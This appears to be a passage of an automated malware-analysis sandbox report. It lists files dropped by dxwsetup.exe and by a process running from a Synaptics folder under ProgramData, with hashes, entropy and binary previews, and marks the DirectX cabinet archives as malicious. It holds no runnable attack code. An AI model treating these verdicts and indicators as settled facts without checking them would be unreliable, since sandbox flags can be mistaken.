Preview:	MSCF....V.......D...........................V....#..................X.?.......i:k{..d3dx9_41.dll.....X.?...p:.r..d3dx9_41_x86.cat.......?...p:.r..d3dx9_41_x86.inf.,.....?...p:.r..d3dx9_41_x86_xp.inf.\.....?...p:.r..Mar2009_d3dx9_41_x86.inf.x..#.9..[.... .3......$Q.f...<...!..vW]....]eJ.Uaq....a.Zk....}_..=hk..C.=...."......?1<..izt.`Y.._ .....H.`...uI35.:.,L.....I.;...........&...B......I....!@.A...A....a......................#..&.E....J..%. ......!..Q0..P.F......$.!...q..yXf..d....7,v......Y.....Q......EI.&..Rm....d.I....D........WJ...`.u..WK..K........yQo...2...W.U\.C.m...a.k.kpq.U..C.5.Hh).......<R.s.l.+.......);........%.g.g.....i..I.U.).H......l./._...<.C....a....U8.'.,.0GR....=.5....E.......jln..MKiliw..Q......,.2{..k...\.X$.......Q4..??...ns...?....t.\|.8U..>WJ./.>S..Vp.....0...3 ....'!....,R........Ph..#.t.7=.?p....D.....hX..H....J.`...Z.......$7t.......a...\|S....(..G. ...V+`...,.X.P..lZ`...X>Bt....E*aM..(`..0......BA3..p.%..OE.c``.BU....).P5

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Aug2009_d3dx10_42_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 186171 bytes, 5 files, at 0x44 "d3dx10_42.dll" "d3dx10_42_x86.cat", flags 0x4, ID 7280, number 1, extra bytes 20 in head, 15 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	195339
Entropy (8bit):	7.996178589789764
Encrypted:	true
SSDEEP:	3072:/hxMUzbnbaWbX0JkFvs5aQnkW6sJ/Fw395/lfLxBQLgGlekmQI84HAGujR7j:5CEbiqvs5aQnkW6A/8jlzxBw0/Erd1X
MD5:	F264AF5A36B889B4F17EB4D4F9680B4F
SHA1:	1DF087EA99D321EC96D0D2F1C66BEE94883D6F08
SHA-256:	BB46189EB8CB7769EB7BE00CFBC35902072FA9408313EF53F423E5AE5C728F61
SHA-512:	73AE1CF3CAFBA148F4E5B4D8AC12A7AA41F6ECAC86C139C6A7714F90F3DC61C444DC152A3AD3C2CA800C1A1F4955A2B508735F8490666B57D1420FB7A7BFC269
Malicious:	true
Preview:	MSCF....;.......D...............p...........;....#..................P.........$;....d3dx10_42.dll.....P.....$;...d3dx10_42_x86.cat...........$;...d3dx10_42_x86.inf.(.........$;...d3dx10_42_x86_xp.inf.c.........$;...AUG2009_d3dx10_42_x86.inf.\|..f.0..CK..T.I....8....e0.JVT`..Q......A..a@..i.k..........b.bN......fE.]...y...s._W..~.......9.6.0:../....^.._..F{.3......7.NHL.....T......Z.....Sd.)2W. Y.2Na....^.lk....+......V.J...j.W.vI.Xj.V....Y..^$....&.&....9..azKt..6....2..e..).,..6...0,......Z.a...R...k........(..V.E.....2..C....p>r..Y.].sR&....)....i.0.....W..#(.....j.p5.ZvR.!..:.jd..e............7:(..\....kZ..b^...s4W).. L.%......:g......./..5.......eW).....t.2..].... ..X.,.. ~80...v..k.#.1.2.....0..PF.....z.]......\.\.N.E.J`6....p.....@_..;...p.8........x.....y.6.(p.x..XJ..@O........E.v.0p...m4.8.,.6.%...P.lh.. ...B.g..0.....>v.....S.A......E@...0.P..@8....v.9..h....xc*e....'..`..._...........M.lg..P..-.!......L...@$0.........j5..m.{ .H.f.[...C@

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\DEC2006_d3dx9_32_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1568416 bytes, 4 files, at 0x44 +A "d3dx9_32_x86.cat" +A "d3dx9_32.dll", flags 0x4, ID 5512, number 1, extra bytes 20 in head, 105 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1577608
Entropy (8bit):	7.999092247669469
Encrypted:	true
SSDEEP:	49152:VKo9fY3tlVm3JjPueurZ8zQbC88LHhpu97Sm:V13BFurZ8U18uSm
MD5:	A5BEAD938AFDC63ADFECC1DAF5049D7F
SHA1:	B3D5BF56F6B9BF87C33009A088BA7785B6363B4E
SHA-256:	A1CC7603302EE53D54F4353C223D95E223706924D99B864220B13814EF93EEFB
SHA-512:	C9244BBCFE60F347EC8785B1A41B6E243153624EA73B16DB4D624239A69FA76D2DF2E54039D8F4D2C495890AC17B676E390F796118B4E16D9F03683247190362
Malicious:	true
Preview:	MSCF............D................................#..............i..............5.a .d3dx9_32_x86.cat..G4.......}5.h .d3dx9_32.dll......f4....5.` .d3dx9_32_x86.inf.M....i4....5.` .dec2006_d3dx9_32_x86.inf.4.$G.@..CK..\.K..?.........7...a....4.... @..LB. `..b..;......{/.;.g7A......}......uv.3.....9X....:.G...`.eT..p...X,..V..C]c.....3^aV......n..3..N.0K3s..%.eb...e../...7..$.~.e#+...<....=..U...R...<..I8..H.D..L.. 1.!........np..\...a...D.'....@(:./.A..{...H.e...b...4Y.c.<..P...H..............].;gl.$q.........}..%,.g.....X.C...HAUZQ1..C.PM.v.\q...T.0Y.3.a.#.\!...O........A)...K....\....PF.X..te...P...B....).).V.(]Jt...A}.S.t\|1S#z....\}./.....\..............(..0....'}..N.]......y,..~.R....f.P.E.T....d#.k.b..`P.../..0W.K&....!.!........M......EL&..bBA.b....q.H.Q.5..5..u....{.ka.k.s.PA^.e.5....c#......d...2..).V.e....2.^.;.....L.....s.`.iK...Q..N.Q.%.T......k..M...U...d...H.W..f.I......kF;X..;.%..N.....j.....6......L.T.).JU"["..`....1..........D.QO,..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Dec2005_d3dx9_28_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1073496 bytes, 5 files, at 0x44 +A "d3dx9_28_x86.cat" +A "d3dx9_28.dll", flags 0x4, ID 6914, number 1, extra bytes 20 in head, 72 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1082664
Entropy (8bit):	7.999121865147412
Encrypted:	true
SSDEEP:	24576:Wa0lNxqf7fg42FhNffA/Lj41q7+YeSFfSKidHVmTJwagz8u:WHXx652fNffm0oleSt3Fwa3u
MD5:	B1CCAAFF46FE022439F7DE5EB9EC226F
SHA1:	8BB7225DF13E6B449D318E2649AEB45A5F24DAF7
SHA-256:	645F8D90B07C69330A8C7C8912D70538411C9A6B2813048DA8AD3C3119487F93
SHA-512:	2B59C07584D45705273A975A0223E4443DB190675558AB89D92E1572DE4843BE3D0D1267818B19185E4E438A8BCFA2AF5FB5EF2A119DA270BE4540576FD78C77
Malicious:	true
Preview:	MSCF....Xa......D...........................Xa...#..............H..............3g. .d3dx9_28_x86.cat..t#........3). .d3dx9_28.dll......#....38. .d3dx9_28_w9x.inf.....x.#....38. .d3dx9_28_x86.inf.......#....38. .dec2005_d3dx9_28_x86.inf...a.>..CK..X.[...C.)...1X..S.I...(M@A.......Pm..;......,.`...=.#v.$("..w.{...yN<?..=k.^..=s...o.jw..et.=..YA..=H.eF..l...,;.17kj....+.jw..Y.ry6..\.Y.4.igecJ...,.g.yp.F.yc.....X...e...L6.....SI..j......."6."...2.... ..+..O$B,..6l. ..B1l.`.....A..rN2..ggf..g..... ..H..Dp$.1..h..X.O..Pi...[LC.L..!d.\....fff................lknfYP@_..\|...Q4.!.JBJ..0...Ri[4.=..r<...b.3M/F].._S.J.."......"...P%@...`..l..J./.!.3.M.....y.l...TI.d~8.0fwf.J)M.C.U....<n7......./..&..P.R0...Q.JU..2.`...2.ri....vp:.Lg.:(.....7.H2.p.!....N.).A...bg......$..6.M5Nj.e.U..-9..P..L.5...G5.......A.P.6..6..v.i..6..6........-....`.........&3nN..K.&w.g-c....4K.9..}...U}.."VCf}*b]..B..+.j.D..d5`..k...j...4UR..... ..Ux."].d5g6..l.70&.%J.^...Q.U.5...9..~

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Dec2006_d3dx10_00_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 185760 bytes, 4 files, at 0x44 +A "d3dx10_00_x86.cat" +A "d3dx10.dll", flags 0x4, ID 5461, number 1, extra bytes 20 in head, 14 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	194952
Entropy (8bit):	7.9966042762544145
Encrypted:	true
SSDEEP:	3072:x4mJ4SadBGg8IZrdosr2nqOwY7l43gRDlcGgp6VMslgVwxikcBmEi21wx8MqX+dN:xJJ4VWgzZptAqOf6wRD5g0VlgVwxL21I
MD5:	75C33157D8A1B123D01B2EAC91573C98
SHA1:	E3E65896CE0520413979C0143C3AA9BD3A6A27D3
SHA-256:	02DAA8B5AC3752F76C3BFD9A505EBF22B1B4B41E44EB92CE2799033B2330D186
SHA-512:	F0F1F1DEA5938E1C7FF2ADF7C8D421C2E68E6D3A8CDF18D0F2F3FE1C6837A4F37B367D2D974C35832D1D85A619948DD0F250C7D6DC4AE39F618F5A2893EAC7DD
Malicious:	true
Preview:	MSCF............D...............U................#.............................5.a .d3dx10_00_x86.cat...........}5.h .d3dx10.dll............5.` .d3dx10_00_x86.inf............5.` .dec2006_d3dx10_00_x86.inf....9.>..CK..\.K...C..DEA.P.$.......$...%.A.....0 F.Y.s.1#...#..f.......y...}....ZU..jU......SP.=.gB..GQ....>.5.p8.*<%.y3uY.....Xv.....G.S..)/...A.x....@U.GN.....{,.0nI..@.......d.......R..S....s..B.........B...H. ;.. 9..<...nL.5..!..4=.>.o....A..u.i^...dd..x!.....p...@Jn.;H.L...d......&$. ..\|<&/;.O...!.A..%##C.RZ...YG....Z.h..ee........+..D...D&.F.....?.a...Io..hg.5..blP..I.......B....`..,.....u..=A...<.%!.8.,.0....b...v.O..a....#.._J....3o.........F..Z {".t\..H..eo..1h.m.0.a....1....Bc..s.^..V..Bq.x...D(.E....@...&......<._..xv......OB....6L......y.. ....$3.....AB.&.cC8C".p.9.,[..mZ...C+....J.....A.04...rY.....7.y..!^....>j.+yj-#.#...h23.e..)....f....k.:@.-..3...,...O..Vl..#....MIK.Yk@j...^!,96O".....T...\.H,IIL....dfXw.u..e.w.F...C...Y).I\....&.[.4.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Feb2005_d3dx9_24_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 1007265 bytes, 4 files, at 0x44 +A "d3dx9_24_x86.cat" +A "d3dx9_24.dll", flags 0x4, ID 4987, number 1, extra bytes 20 in head, 69 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	1016433
Entropy (8bit):	7.998972724711677
Encrypted:	true
SSDEEP:	24576:T/HUK+hlSM4jwe8WpmQUrxiUyULWoF/V++TYrjVdLa1:bHURewe8W4VN8uF/VhMr5s1
MD5:	7029866BA46EC477449510BEEE74F473
SHA1:	D2F2C21EAB1C277C930A0D2839903ECC55A9B3E8
SHA-256:	3D4E48874BDDCD739CF79BF2B3FD195D7C3E861F738DC2EAB19F347545F83068
SHA-512:	B8D709775C8D7CA246D0E52FF33017EE9A718B6C97C008181CD0C43DB7E60023D30D2F99A4930EBA124AF2F80452CBF27836D5B87E2968FB0F594ECA1EBF78DD
Malicious:	true
Preview:	MSCF.....^......D...............{............^...#..............E...7.........E2.. .d3dx9_24_x86.cat...!.7.....E2.. .d3dx9_24.dll......."...92.. .d3dx9_24_w9x.inf......."...92.. .d3dx9_24_x86.inf.(~m.?..CK..\.Y..O..........H.$@..(M..X.. R.I...6...#.^.......{w..}&............{.3..gf.e.....0*`..kFm.......i.`p....X..Y-..7]n^..9...e.(.7..^..V.FO+...v.,e.^..l(i~w...M...l...s...z..U.7.c5.b.3..........#1.I.'.F2.C.@.......'Hx /..K.~.`g.).0..".8y....0.8...N.\|..v.u@...P...H.R......c;W....yg..x....s...2..\...}..%21.D..... ...q.....E,.....q.Ee..$...66...pGr}.. +..!&&&PK..f.r...x.'..<.. ....kH..@....~l....\....@fD...+y..:UC.%...zy1.........~j..v..{%..v[S.ZEE...5....i;..1.(...&.x._.......R+[A..l..z(.e. .k..jbf.@.336T.[...'...J/-..uHc.u.....6..U.....).l...&.".9.X..H\.N...d.V.g...^...Jv..PQ~#?....V.......j:..p.....k.R.......0o.~..F..70.).4b7......+.:.&.)Qd(9...i....J35q.....T%..b._....,..........)Qjt.DU.B.R.s..-.`.......4HE...JObJDlG.4x......lb..<..C..sHD.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Jun2007_d3dx10_34_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 692512 bytes, 6 files, at 0x44 +A "d3dx10_34_x86.cat" +A "d3dcompiler_34.dll", flags 0x4, ID 9065, number 1, extra bytes 20 in head, 49 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	701680
Entropy (8bit):	7.9989902264021255
Encrypted:	true
SSDEEP:	12288:SuBBWP1krfKO0BZwB6ux8hBXsRbD3RazqgwLdJPMqHy7qdXCyhUW3zE:DBTrZ0BZwV8fXsprRaxsDBHyWdXg5
MD5:	19383CBADA5DF3662303271CC9882314
SHA1:	123C97C33F7EF2BA345B220450F181D440412E6B
SHA-256:	8EC971C91040618338AC2369188F3E5D7C85A5B1E3B9FC8E752DD845D295CDBA
SHA-512:	A4C6ACC9FF656E05D75AE0081C65C200B584209C99FD001494C4D206F2CE8A78D2DD3644E51018574928F3B9E9373BF7EC8C5147A3590B54D1C6D50E61342853
Malicious:	true
Preview:	MSCF.... .......D...............i#.......... ....#..............1....).........6.. .d3dx10_34_x86.cat.p)...).....6.. .d3dcompiler_34.dll.h...2S.....6.. .d3dx10_34.dll.I..........6.. .d3dx10_34_x86.inf.i..........6.. .d3dx10_34_x86_xp.inf.c...L......6.. .jun2007_d3dx10_34_x86.inf.....{5..CK.\|.\|......m:..s66...$.\.-K2...B....-.%..\...zI....-.@...!@..<Z(.@..B..@.?..'.k.......f.67;;;;3..gQi....O.7..F....J.m........".z.=.;9.s.D........P...PV.\.U.D......M...3.{K.k>...[z.u#Q...D,..%.%.$j,@wDT..D..]................8\.S.....X......$....q..pP>.0.8.(q.IQ..;GGq.H.@...z.F...~(...=............W...9....._A.qtt.D:[.......7D...&..N..ee.J....H..LeS,e...CY....K m..9..\....._.e....E..@R..J)p..~e...I......uA..8<>).X.#....P..O.BN...a9#I})RW..J4P./.i.'..v.Po..5.+K...[..+K..2... `]....@............q.($. <B$...8@..b<." ...b.y..,.<..OK.."..t..q...{^..5..l........J.(Q.o.Yn.]z.:x6.T..J.Z..zG........ .W..-..l.....2.\O..f/.......TJ&W"S$.2.@.2.a.....C.......A...{..!.\|. ....UVJ7.#.\T..k..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Jun2008_d3dx10_38_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 843959 bytes, 6 files, at 0x44 "d3dx10_38.dll" "D3DCompiler_38.dll", flags 0x4, ID 8962, number 1, extra bytes 20 in head, 61 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	853127
Entropy (8bit):	7.998980130768887
Encrypted:	true
SSDEEP:	24576:IKcIh4DqtGLRndZKm4zZTQb4BJ+gfG07QyGeZH:IKc64DgG9dIZTQb4L+GGIGeZH
MD5:	B0E2B612DAF28B145B197A4DB0A9B721
SHA1:	F69266E4AF3D2DE31A2A2E416F10B0F44737739A
SHA-256:	E8DC1063C9434EED8D633741B19CDFA1889581041E2214B87B5159E3EA087F3C
SHA-512:	6E31F18CB75CE69D291D0ABD15EDADF02C0693033351DFB2F435312A47540AA223C8176209725C14A05FA6494153A3E191B2FB7CB8C5CEE11FB42371CE67392B
Malicious:	true
Preview:	MSCF............D................#...............#..............=....$.........8wq..d3dx10_38.dll......$.....8wq..D3DCompiler_38.dll.f(..(......8.r..d3dx10_38_x86.cat.I..........8.r..d3dx10_38_x86.inf.i..........8.r..d3dx10_38_x86_xp.inf.c...@......8.r..Jun2008_d3dx10_38_x86.inf...E7%,..CK..\.....\./BS3...$.......p.&..x"........h....J.,5.,._.e....y..-y...#.......YXPP+..y.......y....o*.&..........\....i...YQcs..u.77K.8..h......h..]L...y6.bc..S.\.Y..]..aM.iyo.Xr..2....w...^V.Y.v)..s..w..;..z...........S..WY.b...!....q..W............y.~.x...P..!z.S.....2..{W.x.tJ.....Y....'o5"dE...(...\|o.U'.tpJ....8..4.j.vT.+TrVWy.`.P..{![...O.<.!...F...V.........C.k.E.h._..AM..+...E.jG.U.R.F:.].E...Xvw.?....'..,....................A-p...l.[.J....4.. .$.,...`2X.W.c..=Y.>........i.....A-p.?.....`.8..qp.`...A.....P_1.....? ]O....A?P.&........%..c. ..v...,h.=...AK0........k......d..... ....A{....... .\|o......&..\|......0........d.....[m......X...%C.D.2X.....'&.4..@o......98.~..c

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Nov2007_d3dx10_36_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 797924 bytes, 6 files, at 0x44 +A "d3dx10_36_x86.cat" +A "d3dcompiler_36.dll", flags 0x4, ID 9083, number 1, extra bytes 20 in head, 56 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	807092
Entropy (8bit):	7.998858073625772
Encrypted:	true
SSDEEP:	24576:EL+Y8gC2xQcaINcDDHwNXjNOl93uN850V7ZcR0SEDR3l3M:vD2xaINcDHIzhs0Vwz6c
MD5:	3D9A0C59156D03DA0F19C2440E695637
SHA1:	55B050991CB17410C75ADC3913066BAEDB482ED0
SHA-256:	BDF7FB01C02783A4F8C9F5E7911F5CAE3E2A7CBC425B90B36F9EA6EEF2C27DE3
SHA-512:	E9A662498C43865E917F0778B772D6964517E41289CBF5A0B8A4E44D8C4B4E9A5049C76F2ECBE4ACC7E9CFCC3F1D87A75C3F8703E66804CE758969814BA14FDA
Malicious:	true
Preview:	MSCF.....,......D...............{#...........,...#..............8...h(........V7.. .d3dx10_36_x86.cat.....h(....L7.y .d3dcompiler_36.dll.h.... ....B7.O .d3dx10_36.dll.I.........V7P. .d3dx10_36_x86.inf.i...1.....V7P. .d3dx10_36_x86_xp.inf.c.........V7P. .nov2007_d3dx10_36_x86.inf..d.....CK..8.....Y..^(4cK.......H....0..F.]1..$.(W...P.-..J.).[.%Q....M.v......>Os.c.......=.\|.}..d.r.5....q.s.J..*k8....y89....e...D...Q.!aL./,..l...@~N..J~..)...=..].)......o.@.... ......,R...".@&L.i..........Z.6`..C.......]6.Z.._V..J T.B......l......,..t.6.....md.p..5...l.....B...aI,.F.mU..<T...@Hf.......d{..... ..1.0$.....j.AE..#'..'.%..%....4..p..P.g%..(.H..d..........R#..L..H. mXq..c......6tU$....cii.e............1dA...f.... .........U.B..b.....Fj.z;x...f2. gY.....9.u24. .O&....!E-.....R.d+...5.b..![.dG.....""{U.C...........9p.M....Y\|.\f......E....).J...d..0.l.A......0$.....}....e......t..^W..LM(.$,... +.....A..K...f.p..dD...,..E2n..2/k-...d.E2.-.@.S...1.........pA..H..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\Nov2008_d3dx10_40_x86[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 959461 bytes, 6 files, at 0x44 "d3dx10_40.dll" "D3DCompiler_40.dll", flags 0x4, ID 8926, number 1, extra bytes 20 in head, 77 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	968629
Entropy (8bit):	7.999011847061652
Encrypted:	true
SSDEEP:	24576:JKTxCzc8gSDnU8Hz10a0s65QckarHGlImJtXn+QbtU0sHsqzn:mxCzs29r0WQma69nBbtU0sjzn
MD5:	5DFEB46E60795266DA03F2D0A67E7ACD
SHA1:	A77758873E5544E8AD22ACF469C4A0FD0C944A88
SHA-256:	EC52B075A3E9C7FE468B317E0FF977964B1003D560065128741F4392BF47C49A
SHA-512:	6EC058811AC017BE3CD3A46559CD73126666F41B0FA58D92C1168CF2A2E0E2357B19F65531C786EC81A438975DBECE440C5E7B6C653AFA5428CE6C444179AF6C
Malicious:	true
Preview:	MSCF...........D................"..............#..............M...X.........O9.2..d3dx10_40.dll.`...X.....O9.2..D3DCompiler_40.dll.......%...O9p:..d3dx10_40_x86.cat.I...g.&...O9h8..d3dx10_40_x86.inf.i.....&...O9h8..d3dx10_40_x86_xp.inf.c.... &...O9h8..Nov2008_d3dx10_40_x86.inf....X.0..CK..T...{..J........D...$.....$.2.....&L+...u..Q.5#f...W].9cN...w..Qd...y.......9~.}..]u+tOMM...r.].a.O..f7#.\........m.l._a.[..,4Q.&KU...c.eq1)).,V!S...)2...Y.^a.Q..b........y_x.W..Q^J^.j..P..gB...<w....E_).$j..q.\|y..{.'....1V-..N.bt..%...A.0K....u...O...K.u.F.H(u>.X.vbd.......)..Ltg)c.a..J..\|.V).N.F`G.Lxk..Rf.-.<1b...0..y...y!.g..F1Z.v..T..o......i.............!Jku.:..i...e.....Z.HR.0...6.....zk1..._.-.L....a).Gx.).........@6...........P.\....?`.....f...\|.r......L9......S.T ........o:J.'.E`?..x..?...$........z.......,.<.'..D.j .....G...3...G;.......p...&@W...;....^........R .X.....L ............-...........'.r`7........)........=......r..j,e..j.)..........uX)..p.B...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\dxupdate[1].cab

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
File Type:	Microsoft Cabinet archive data, many, 91192 bytes, 3 files, at 0x44 "dxupdate.dll" "dxupdate.inf", flags 0x4, ID 3666, number 1, extra bytes 20 in head, 8 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	100360
Entropy (8bit):	7.9900557178400815
Encrypted:	true
SSDEEP:	3072:lvknxJpNYAzRstaRkz0BwwnNbSa+vp5647S:FkZNXsERk6wwBSa+vnl2
MD5:	4AFD7F5C0574A0EFD163740ECB142011
SHA1:	3EBCA5343804FE94D50026DA91647442DA084302
SHA-256:	6E39B3FDB6722EA8AA0DC8F46AE0D8BD6496DD0F5F56BAC618A0A7DD22D6CFB2
SHA-512:	6F974ACEC7D6C1B6A423B28810B0840E77A9F9C1F9632C5CBA875BD895E076C7E03112285635CF633C2FA9A4D4E2F4A57437AE8DF88A7882184FF6685EE15F3F
Malicious:	true
Preview:	MSCF....8d......D...............R...........8d...#............................~>.%..dxupdate.dll.02........h=...dxupdate.inf.1...0.....~>.%..dxupdate.cif.T....'..CK.Z}.$.U....;..@.e!.#....G===.=+".?..+.s..l8....o.{....;.+..(...d,..HVd..,......(..[&H.........Y.Y..~..{.gv.vW.'.....^......^...}...1v....2.*.~.......y...a_.....^Z..V?H.Q..bo(..0.Ra...q(..`o....W.....4~...q.?...F.............].....~c...O7^..W..x.?...l.=.~$......'..o;.._.....'u.aK......=..X.........g........~.].[..+..\b._........p.=.....w...%..@.o-.....O2..w...~sn..D_:....G).../e.Q_/....=Y.x........p.0..^....w...A}..'..... ...P.7....3.av...?...Kl.......>t...O`..b.]....x..Y....._...x..}....@.....1.9.o....[.?.......)...g..'.1.i../.^.\|..=........x...L.6`...>..,...K./....6...........A.#.?.8.\|....?.\|......w%K.>@..(.I...9.../....].....%v7.>.....-@.p....E........6...Kc..p?@.....8.\|.p/..xg...7...^.(..7..X~?..........#...w...q..U....f.... ..?<.\...}.K.Z.,]+...../..-......e...aO....a9Y......Wg.

C:\Users\user\AppData\Local\Temp\1lDgSTv.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.264124419550009
Encrypted:	false
SSDEEP:	24:GgsF+0DTDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+oTD+pAZewRDK4mW
MD5:	A0C38341A19C34FA6A9C3F4CF6DB3A8E
SHA1:	29A9141DB639EB498037F3EA18C46EB41C352961
SHA-256:	0DFFCFC94CD2035555F871966F045DACBF79D9392BC57D571BD845939BBD5CC5
SHA-512:	3BA94371489DD3FE73572CBED8E7BFF599827CA21C63DA4862F111E973635150D4706A9891C4306FDC0E31B127540CF283B7EDBB78157792484EA3311BA0D327
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="aFAT_vy3uwT3mQLAtGPj7w">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\1tu6MFR.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.263262272541129
Encrypted:	false
SSDEEP:	24:GgsF+0P/SU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+c+pAZewRDK4mW
MD5:	63580A11621D357D877F96A356D5331E
SHA1:	FE5307ECB194EFA4526C9405263B4C88247FEA32
SHA-256:	84B8759C772884E5F0D029C18409A1E5BCACFAB7B89263CB452EB8ABFFEC5295
SHA-512:	093D5744D5B91873069458E3E596E9BE5336892AEDEF3CD62B4E5456BCBD87DF9A06E341F738EEACAE852901C06BCFAAD76443A324EBAA37AE1159E21AC07016
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="AmI2fsV228dHk7_FzMoXZg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\4pNVHtb.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.270873845556429
Encrypted:	false
SSDEEP:	24:GgsF+0JipDSU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:GgK+bt+pAZewRDK4mW
MD5:	FE0F54084DFCF5416524DFC1A17CFB5E
SHA1:	5C10BAAF56B451DCECC83F5D7270666B10A45C77
SHA-256:	664193DCC141A713A70EBF5007DCC0027EA24E9DA223CE62FF21FF3659F1BEEA
SHA-512:	560A4F71DDB4CDA6713E0346F8C1FB03FC666B405FDB1E17B4180E7C55C458391C8339465908825E9A1F6E5AE181FC276C40C385C252FCB0CE72BD368463ACC8
Malicious:	false
Preview:	<html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="KBiXYXOu7BOK-KN8RebfCw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x5

C:\Users\user\AppData\Local\Temp\5b8A3xI.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1648), with no line terminators
Category:	dropped
Size (bytes):	1652
Entropy (8bit):	5.265414818735961
Encrypted:	false
